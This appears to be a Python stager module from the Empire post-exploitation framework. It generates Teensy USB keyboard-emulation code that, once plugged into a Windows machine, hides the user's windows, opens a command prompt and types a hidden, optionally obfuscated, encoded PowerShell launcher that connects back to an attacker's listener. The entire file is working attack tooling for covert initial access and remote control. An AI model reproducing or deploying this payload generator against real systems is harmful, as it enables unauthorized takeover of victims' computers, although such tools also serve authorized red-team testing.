from __future__ import print_function

from builtins import object

from empire.server.common import helpers


class Stager(object):
    def __init__(self, mainMenu, params=[]):

        self.info = {
            "Name": "TeensyLauncher",
            "Author": ["@matterpreter"],
            "Description": "Generates a Teensy script that runes a one-liner stage0 launcher for Empire.",
            "Comments": [""],
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            "Listener": {
                "Description": "Listener to generate stager for.",
                "Required": True,
                "Value": "",
            },
            "Language": {
                "Description": "Language of the stager to generate.",
                "Required": True,
                "Value": "powershell",
                "SuggestedValues": ["powershell"],
                "Strict": True,
            },
            "StagerRetries": {
                "Description": "Times for the stager to retry connecting.",
                "Required": False,
                "Value": "0",
            },
            "OutFile": {
                "Description": "File to output duckyscript to.",
                "Required": True,
                "Value": "/tmp/teensy.ino",
            },
            "Obfuscate": {
                "Description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.",
                "Required": False,
                "Value": "False",
                "SuggestedValues": ["True", "False"],
                "Strict": True,
            },
            "ObfuscateCommand": {
                "Description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.",
                "Required": False,
                "Value": r"Token\All\1",
            },
            "UserAgent": {
                "Description": "User-agent string to use for the staging request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
            "Proxy": {
                "Description": "Proxy to use for request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
            "ProxyCreds": {
                "Description": "Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]["Value"] = value

    def generate(self):

        # extract all of our options
        language = self.options["Language"]["Value"]
        listener_name = self.options["Listener"]["Value"]
        user_agent = self.options["UserAgent"]["Value"]
        proxy = self.options["Proxy"]["Value"]
        proxy_creds = self.options["ProxyCreds"]["Value"]
        stager_retries = self.options["StagerRetries"]["Value"]
        obfuscate = self.options["Obfuscate"]["Value"]
        obfuscate_command = self.options["ObfuscateCommand"]["Value"]

        obfuscate_script = False
        if obfuscate.lower() == "true":
            obfuscate_script = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(
            listenerName=listener_name,
            language=language,
            encode=True,
            obfuscate=obfuscate_script,
            obfuscationCommand=obfuscate_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            stagerRetries=stager_retries,
        )

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        elif obfuscate and "launcher" in obfuscate_command.lower():
            print(
                helpers.color(
                    "[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the teensy stager."
                )
            )
            return ""
        else:
            enc = launcher.split(" ")[-1]
            send_enc = 'Keyboard.print("'
            send_enc += enc
            send_enc += '");\n'
            teensy_code = "unsigned int lock_check_wait = 1000;\n"
            teensy_code += "int ledKeys(void) {return int(keyboard_leds);}\n"
            teensy_code += "boolean isLockOn(void)  {\n"
            teensy_code += "    return ((ledKeys() & 2) == 2) ? true : false;\n"
            teensy_code += "}\n\n"
            teensy_code += "void clearKeys (){\n"
            teensy_code += "    delay(200);\n"
            teensy_code += "    Keyboard.set_key1(0);\n"
            teensy_code += "    Keyboard.set_key2(0);\n"
            teensy_code += "    Keyboard.set_key3(0);\n"
            teensy_code += "    Keyboard.set_key4(0);\n"
            teensy_code += "    Keyboard.set_key5(0);\n"
            teensy_code += "    Keyboard.set_key6(0);\n"
            teensy_code += "    Keyboard.set_modifier(0);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "}\n\n"
            teensy_code += "void toggleLock(void) {\n"
            teensy_code += "    Keyboard.set_key1(KEY_CAPS_LOCK);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void wait_for_drivers(void) {\n"
            teensy_code += "    boolean numLockTrap = isLockOn();\n"
            teensy_code += "    while(numLockTrap == isLockOn()) {\n"
            teensy_code += "        toggleLock();\n"
            teensy_code += "        delay(lock_check_wait);\n"
            teensy_code += "    }\n"
            teensy_code += "    toggleLock();\n"
            teensy_code += "    delay(lock_check_wait);\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_minWindows(void) {\n"
            teensy_code += "    delay(300);\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.set_key1(KEY_M);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_restoreWindows(void) {\n"
            teensy_code += "    delay(300);\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    Keyboard.set_key1(KEY_M);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_run(void) {\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.set_key1(KEY_R);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_openCmd(void) {\n"
            teensy_code += "    delay(300);\n"
            teensy_code += "    win_run();\n"
            teensy_code += '    Keyboard.print("cmd.exe");\n'
            teensy_code += "    Keyboard.set_key1(KEY_ENTER);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void empire(void) {\n"
            teensy_code += "    wait_for_drivers();\n"
            teensy_code += "    win_minWindows();\n"
            teensy_code += "    delay(1000);\n"
            teensy_code += "    win_openCmd();\n"
            teensy_code += "    delay(1000);\n"
            teensy_code += (
                '    Keyboard.print("powershell -W Hidden -nop -noni -enc ");\n'
            )
            teensy_code += "    "
            teensy_code += send_enc
            teensy_code += "    Keyboard.set_key1(KEY_ENTER);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "    win_restoreWindows();\n"
            teensy_code += "}\n\n"
            teensy_code += "void setup(void) {\n"
            teensy_code += "    empire();\n"
            teensy_code += "}\n\n"
            teensy_code += "void loop() {}"

            return teensy_code
